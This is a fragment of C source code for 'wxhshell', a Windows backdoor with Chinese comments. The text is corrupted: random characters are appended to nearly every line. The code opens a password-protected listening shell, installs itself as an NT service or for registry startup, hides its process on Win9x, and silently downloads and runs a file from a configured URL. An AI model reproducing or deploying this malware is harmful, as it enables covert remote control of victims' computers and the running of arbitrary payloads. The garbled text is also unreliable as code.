} PROCESS_BASIC_INFORMATION; 9;_sC
1nQWW9i
PROCNTQSIP NtQueryInformationProcess; |(pRaiJ
%<E$,w>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e<=cdze
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $]{k+Jf
iMI lZ
HANDLE hProcess; ]vgB4~4#LP
PROCESS_BASIC_INFORMATION pbi; ;ado0-VQi'
T^ w36}a
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LJ*q 1
;<E
if(NULL == hInst ) return 0;
f#?fxUH~
h!&prYx
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {U!8|(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~MS\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ux_Mrh'
dik:4;
if (!NtQueryInformationProcess) return 0; ]Bm/eRy"
0o+6Q8q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %F!1
if(!hProcess) return 0; Gs9:6
^go7_y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^@qvl%j
AgFVv5
CloseHandle(hProcess); ai
nG6Y<O`
PI`jExL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (N&lHLy
if(hProcess==NULL) return 0; qEpi] =|
hO';{Nl/$
HMODULE hMod; hir4ZO%Zt
char procName[255]; 2I&o69x?
unsigned long cbNeeded; 9'{}!-(xR
6xZ=^;H
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b|+wc6
7.Z@Wr?
CloseHandle(hProcess); emdoA:w+
,t`Kv1
if(strstr(procName,"services")) return 1; // 以服务启动 xfb]b2
9nH?l{As
return 0; // 注册表启动 ;gs
^%z
} I_xXDr
7oq[38zB
// 主模块 ]R=,5kK3
int StartWxhshell(LPSTR lpCmdLine)
F0:A]`|
{ tl><"6AIP
SOCKET wsl; 1[jb)j1
BOOL val=TRUE; NMww>80
int port=0; $ZNu+tn
Y
struct sockaddr_in door; TpHfS]W-P
[+OnV&
if(wscfg.ws_autoins) Install(); gS:A'@&
(4\d]*u5-c
port=atoi(lpCmdLine); 6$ Gep
,2j.<g&
if(port<=0) port=wscfg.ws_port; *X4PM\ck
bd<m%OM""
WSADATA data; F35#dIs`&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^;Sy. W&`
:_@JA0n
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]ix!tb.Q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #'q<v"w
door.sin_family = AF_INET; g7&9"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^k
Cn*&
door.sin_port = htons(port); hAm`NJMSO
x ul]m*Z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P|HKn,ar
closesocket(wsl); 8Th` ]tI
return 1; cetvQAGXY
} yB3;
Q6XRsFc
if(listen(wsl,2) == INVALID_SOCKET) { =+x yI
closesocket(wsl); ]XTu+T.aT
return 1; JkGnKm9G
} 5l,ZoB8
Wxhshell(wsl); %eJGte-
WSACleanup(); e{KByFl
z.6$W^
return 0; (?H0+zws^
#BQ.R,
} N |1>ooU[
*A~
G_0B
// 以NT服务方式启动 Dk='+\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uh'#izm[l
{ gaf$uT2
DWORD status = 0; \V>?Do7
DWORD specificError = 0xfffffff; &h~Xq^
5qf
BEPJ
serviceStatus.dwServiceType = SERVICE_WIN32; (n1Bh~R^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xP=/N!,#
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $O{duJU
serviceStatus.dwWin32ExitCode = 0; kqb0>rYa
serviceStatus.dwServiceSpecificExitCode = 0; $o +5/c?|
serviceStatus.dwCheckPoint = 0; l_j4DQBRV
serviceStatus.dwWaitHint = 0; xcJ`1*1N
}dxDtqb
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nr)c!8
if (hServiceStatusHandle==0) return; %hN.ktZ/s
dDDGM:]
status = GetLastError(); &3Zy|p4V<
if (status!=NO_ERROR) >|Q:g,I
{ 3@n>*7/E
serviceStatus.dwCurrentState = SERVICE_STOPPED; AkU<g
serviceStatus.dwCheckPoint = 0; b.O9ITR
serviceStatus.dwWaitHint = 0; 6r"u$i`o
serviceStatus.dwWin32ExitCode = status; B$ KwkhMe
serviceStatus.dwServiceSpecificExitCode = specificError; UwY-7Mmo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^2odr \
return; H +bdsk
} idRD![!UI
<?0~1o\Ur
serviceStatus.dwCurrentState = SERVICE_RUNNING; j%V["?)
serviceStatus.dwCheckPoint = 0; jxgj,h"}9`
serviceStatus.dwWaitHint = 0; GFk1/ F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zciCcrJ
} .bD_R7Bi6
U Q@7n1
// 处理NT服务事件,比如:启动、停止 YHV-|UNF
VOID WINAPI NTServiceHandler(DWORD fdwControl) (!5LW'3B
{ m6
s7F/
switch(fdwControl) ]v G{kAnH
{ CnN9!~]"
case SERVICE_CONTROL_STOP: qP!P
+'B
serviceStatus.dwWin32ExitCode = 0; S<nq8Ebmw
serviceStatus.dwCurrentState = SERVICE_STOPPED; mqfO4"lt
serviceStatus.dwCheckPoint = 0; ]=73-ywn]
serviceStatus.dwWaitHint = 0; IgL_5A
{ *FR$vLGn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qP*}.Sqk7
} utlpY1#q/
return; w>xV
case SERVICE_CONTROL_PAUSE: gLE7Edcp6V
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Z$bf>[(R7
break; rSP_:}
case SERVICE_CONTROL_CONTINUE: ?RFg$Z'^
serviceStatus.dwCurrentState = SERVICE_RUNNING; K:y^OAZfV
break; 7?"y{R>E
case SERVICE_CONTROL_INTERROGATE: 3}1ssU"T
break; 1on'^8]0
}; rAQF9O[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W</n=D<,I
} }i!pL(8;
MVv1.6c7Y
// 标准应用程序主函数 1+y"i<3)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V_U'P>_I
{ ps:f=6m2
pL1s@KR
// 获取操作系统版本 e yw'7
OsIsNt=GetOsVer(); m:Go-tk
GetModuleFileName(NULL,ExeFile,MAX_PATH); >x:EJV
fvo<(c#Y#
// 从命令行安装 gd@p|PsS^
if(strpbrk(lpCmdLine,"iI")) Install(); |`yZIY_
+$z]w(lb T
// 下载执行文件 t@bt6J .{
if(wscfg.ws_downexe) { `BZ&~vJ_
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |I[7,`C~
WinExec(wscfg.ws_filenam,SW_HIDE);
'3l$al:H^
} 5iFV;W
VFD%h
}
if(!OsIsNt) { MN;/*t
// 如果时win9x,隐藏进程并且设置为注册表启动 cJ}QXuuUv
HideProc(); oholt/gb+0
StartWxhshell(lpCmdLine); 1@sM1WMX
} J_#R 87
else 0_<Nc/(P
if(StartFromService()) QBE@(2G}C
// 以服务方式启动 =
Rc"^oS
StartServiceCtrlDispatcher(DispatchTable); `kBnSi o~
else Ln#a<Rx.E7
// 普通方式启动 ,i`h
x,
Rg
StartWxhshell(lpCmdLine); W,hWOO
vrl[BPI
return 0; *ftC_v@p5
} h!]"R<QQdu
FY;+PY@I{
,qFA\cO*
?H;{~n?
=========================================== \ a-CN>
-
HOnB=
Ns~&sE:
\MYU<6{u
ij)Cm]4(2
2g`[u|
" }B!cv{{
p%RUHN3G[
#include <stdio.h> hFb
fNB3
#include <string.h> )@PnTpL*
#include <windows.h> N7.
@FK
#include <winsock2.h> 2)LX^?7R
#include <winsvc.h> NtZ6$o<Y
#include <urlmon.h> F,Fo}YQX
$iJnxqn
#pragma comment (lib, "Ws2_32.lib") |_pl;&;:
#pragma comment (lib, "urlmon.lib") 1Kc^m\
QPg2Y<2
#define MAX_USER 100 // 最大客户端连接数 C6k4g75U2
#define BUF_SOCK 200 // sock buffer Ee?;i<u
#define KEY_BUFF 255 // 输入 buffer !UNNjBBP7
KRk~w]
#define REBOOT 0 // 重启 OlcP(
#define SHUTDOWN 1 // 关机 R7aXR\ R
T Oy7?;|=
#define DEF_PORT 5000 // 监听端口 K\sbt7~
Y+|PY?
~
#define REG_LEN 16 // 注册表键长度
^CQ1I0
#define SVC_LEN 80 // NT服务名长度 -Cj_B\
xii$e
// 从dll定义API |!b9b(_j9
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &:auB:b
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \!PV*%P
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nVTM3Cz
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,8`O7V{W
A}4t9|/K6
// wxhshell配置信息 h6FgS9H
struct WSCFG { V_M@g;<o
int ws_port; // 监听端口 C9Wojo.
char ws_passstr[REG_LEN]; // 口令 *f*f&l